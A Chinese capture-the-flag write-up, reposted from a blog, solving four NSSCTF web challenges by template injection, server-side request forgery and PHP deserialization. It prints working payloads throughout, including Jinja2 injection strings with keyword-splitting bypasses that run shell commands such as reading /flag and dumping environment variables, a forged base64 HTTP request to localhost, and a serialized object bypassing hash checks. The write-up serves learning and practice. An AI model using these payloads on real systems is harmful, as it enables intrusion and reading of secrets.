0


NSSCTF靶场题解(7)

站在小白的视角上,写了在写题目的wp方面更多是想体现题目思考的逻辑和细节,更多是写给同样新手小白的内容,解题方面为什么从这一步到下一步的,很助于培养思考题目的逻辑思,****payload细节理解方面参考过很多篇wp。尽我所能把细节阐释到位。

如果存在理解说辞不是特别清晰了然的话,就麻烦各位大佬师傅指点啦~

这次刷题的感悟是,如果希望能力进阶,可以尝试做题的时候不要直接看wp,初期新手阶段可以看【作为一个引导作用】,后期想要能力提升的话建议多探索题目多解的可能性,还有,PHP手册是个不错的好东西~!

其他刷题记录可以在博客主页上看到。主方向是web。



[NCTF 2018]Flask PLUS

开题。

既然是SSTI。试试注入参是不是name。【90%情况下题目都是name。也存在其他情况】

我们预设打的payload是:

//无过滤情况下。
{{[].__class__.base__subclasses__()['128'].__init__.globals__.popen('tac /flag').read()}}

{{lipsum.__globals__.get("os").popen("tac /flag").read()}}  

{{lipsum.__globals__['os']['popen']('ls /etc').read()}} 
 
{{config.__class__.__init__.__globals__['os'].popen('tac /flag').read()}}  

{{config.__class__.__init__.__globals__.get("os").popen('tac /flag').read()}} 

看看哪些东西被过滤了。

用BP爆破一下看看情况。

这里使用的ssti_fuzz文本在这里有:【**网址指路:SSTI-fuzz.txt文本 **

码长323的回显都是【Y0u_Ar3_Hacker】,也就是都被ban了。

其他长度的没有被过滤。【例如huhu长度331】

lipsum,globals___,(),[],’,”等没有被过滤。

所以我们选定最终payload:

?name={{lipsum.__globals__['os']['popen']('ls').read()}}

但是这里【os】【popen】被过滤了。

简单,关键字绕过一下,用【''】绕过一下

?name={{lipsum.__globals__['o''s']['pop''en']('ls /').read()}}

?name={{lipsum.__globals__['o''s']['pop''en']('tac /Th1s_is__F1114g').read()}}

拿到flag。

这里我只展示了手动法

也有自动的。更方便,这里需要用到SSTI自动化工具——fenjing【我主页上有介绍fenjing的windows端下载以及结合实际题目的简单使用。

[HZNUCTF 2023 preliminary]flask

开题。

很直接了断。**

/?name=

很明显的SSTI注入。**

而且对我们传入的字符串进行了倒置

没有倒置情况下

/?name={{7*7}}

回显49。

而且。看回显是需要查看码源的。

看上去没有回显。但其实再右键查看码源:

这里因为手搓全反payload有点麻烦。我们写个python脚本帮忙运行一下。

#python_of_reverse_sentence
​
print("输入需要反转的字符串:")
sen=input()
sen_reversed=sen[::-1]
print("目标已生成:")
print(sen_reversed)

然后直接拿正常的payload输进去。

大概就是这么个操作。

当我们的payload是:

/?name=}})(daer.)'/ sl'(]'nepop'[]'so'[__slabolg__.muspil{{
​
#实际是:{{lipsum.__globals__['os']['popen']('ls /').read()}}

得到回显界面:

发现flag.sh【但我其实有预感这个不是真正的flag。】

/?name=}})(daer.)'hs.galf cat'(]'nepop'[]'so'[__slabolg__.muspil{{
​
#实际是:{{lipsum.__globals__['os']['popen']('tac /flag.sh').read()}}

好。确实不是。

这个时候我回去基本上翻遍了目录也没找到任何苗头。想去看看phpinfo()。

但不知道为什么看不了

/?name=}})(daer.)')(ofniphp'(]'nepop'[]'so'[__slabolg__.muspil{{
​
#实际是:{{lipsum.__globals__['os']['popen']('phpinfo()').read()}}

phpinfo()的界面是没有任何回显的。

这里实在没什么多余的思路了。去看看其他师傅的思路。

在环境变量里。如果能看phpinfo的话确实能拿flag。但在不能看到的时候其实大多数时候也会藏环境变量里。

/?name=}})(daer.)'vne'(]'nepop'[]'so'[__slabolg__.muspil{{
​
#实际是:{{lipsum.__globals__['os']['popen']('env').read()}}

ok。拿到flag。

过程探索flag中在当前目录下看到一个app.py源文件。


app.py内容

和当初设想一样。将我们输入的内容倒序之后渲染输出。

[HNCTF 2022 WEEK2]ez_ssrf

开题。

第一次接触SSRF

开头有点没看懂。还以为是阿帕奇模板漏洞,然后搜索了一下【Apache2 Debian Default Page】

我还以为是模板漏洞,结果其实是访问服务器时出现的默认欢迎界面。给自己整笑了。

写扫扫目录看看:

这些响应200代表均可以访问。

我们先去**/flag.php**看看。

【localhost plz】?

host改成127.0.0.1试试?

没反应。

根据提示访问一下**/index.php**

代码审计一下:

GET方式获取data,host,port。

利用fsockopen函数建立与指定主机和端口的 socket 连接。【结合flag.php页面提示的localhost,这里的$host应该就是127.0.0.1】

在PHP手册上搜索该函数得到如下解释。

而要得到flag【或相关信息】需要使fsockopen()函数返回 True。

从而进入else模块。

在else模块中:

fwrite():【将$data写入$fp】

fwrite($fp,$data);

feof():【检测文件是否到了读取到结束位置】

while(!feof($data)) //当$data没有读取结束时用while持续这个过程。

fgets():【从文件字符中读取字符】

fgets($file, 128); // 读取最多128个字符的一行

【以下都是搜索PHP手册得到的,建议在能力进阶期段做题时可以先不去搜题解,尝试自己解出答案】

观察index.php的源码可以知道,data这里对于读入文件的内容是没有过滤的

这也就意味着data里面可以直接不用关键字绕过,直接读取flag。

由于我也是第一次接触SSRF的题目,先看看SSRF大概是什么。

除此之外。这里还了解到:fsockopen函数就要清楚有考察ssrf的意思

为什么?

SSRF的实质就是:利用存在缺陷的Web站点作为代理,攻击远程和本地的服务器。

怎么理解?

核心理解就是:

index.php是存在缺陷【可以写shellcode】的web站点,而我们的目标是同样作为和index.php本地文件的flag.php,我们需要通过index.php才能得到flag.php的内容。直接访问flag.php是无法访问的。】

结合之前的代码:可以得出,我们需要在data中伪造服务端请求。而且该请求中存有恶意代码读取flag文件。

这里给出一个了解SSRF的比较好的网站:SSRF详细讲解

payload:

# data内容
​
<?php
$a="GET /flag.php HTTP/1.1\r\n";  #换行符需要\r\n
$a.="Host: 127.0.0.1\r\n";
$a.="Connection: close\r\n\r\n";   #这里不太清楚为什么不写【\r\n\r\n】得不到。
echo base64_encode($a);
?>

得到base64编码过后的伪造请求头。

R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBjbG9zZQ0KDQo=

所以最终payload:

/index.php?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBjbG9zZQ0KDQo=
​
#host=**127.0.0.1**是因为flag.php对于网站来说是本地文件。
#port=**80**是80端口的意思,**80端口是专用于HTTP的。443端口是https。**
#data中的base64编码即是我们传入的访问本不可以直接访问的flag.php页面的伪造请求头。

OK。拿到flag。

[CISCN 2023 华北]ez_date

开题。

一道反序列化的题。

我们先来代码审计一下:

<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
    public $a;
    public $b;
    public $file;
​
    #在反序列化开始的时候就会触发这个wakeup()魔术方法,然后执行里面的代码。
    public function __wakeup()
    {
        #传入的a,b不能是数组,不能使用数组绕过
        if(is_array($this->a)||is_array($this->b)){
            die('no array');
        }
        #传入的a,b值不能相等,但MD5值要相等,sha1值要相等。【这里我们用【3】和【'3'】来分别作为a,b绕过。】
        if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
            #去PHP手册上搜只说是格式化时间的函数,但其实用法在这里是利用data来读flag文件。
            $content=date($this->file);
            #uniqid()函数:生成一个带前缀、基于当前时间微秒数的唯一ID。
            $uuid=uniqid().'.txt';
            #将$cotent内容放入$uuid中
            file_put_contents($uuid,$content);
            #将换行符,空格替换成空。
            $data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
            #读取$data。
            echo file_get_contents($data);
        }
        else{
            die();
        }
    }
}
?>

为什么说【1】和【'1'】可以绕过sha1和md5呢?

举个例子。

通用为什么不能用数组绕过呢?

为什么这里说可以利用data来获取flag?

能写入文件的地方,以及能够控制变量的地方只有date函数这里。

如果我单写**

/flag

**

但如果我换个方式利用。

不仅可以绕过对于flag关键字的过滤,还可以顺利得到我想要的形式。

所以最终得到payload的PHP代码:


#本地服务器走一下 or 网上随便搜一个在线PHP运行都可以。

<?php
highlight_file(__FILE__);
class date{
    public $a;
    public $b;
    public $file;
}
​
$q=new date();
$q->a=1;
$q->b='1';
$q->file='/f\l\a\g';
​
#根据 unserialize(base64_decode($_GET['code']));
echo base64_encode(serialize($q));
?>

所以最终payload:

/?code=Tzo0OiJkYXRlIjozOntzOjE6ImEiO2k6MTtzOjE6ImIiO3M6MToiMSI7czo0OiJmaWxlIjtzOjg6Ii9mXGxcYVxnIjt9

拿到flag。

但是写题期间其实我在PHP手册上琢磨了挺久。

data的那个用法我是一开始真的没悟出来。

当时还想着data不是打印时间的吗,觉得云里雾里的。

现在看见这个转义字符用法才有种醍醐灌顶的感觉。

写这个在这里是希望同样在web能力进阶的小伙伴一点做题方面的交流。


本文转载自: https://blog.csdn.net/weixin_73860677/article/details/141004390
版权归原作者 5fn_ 所有, 如有侵权,请联系我们删除。

“NSSCTF靶场题解(7)”的评论:

还没有评论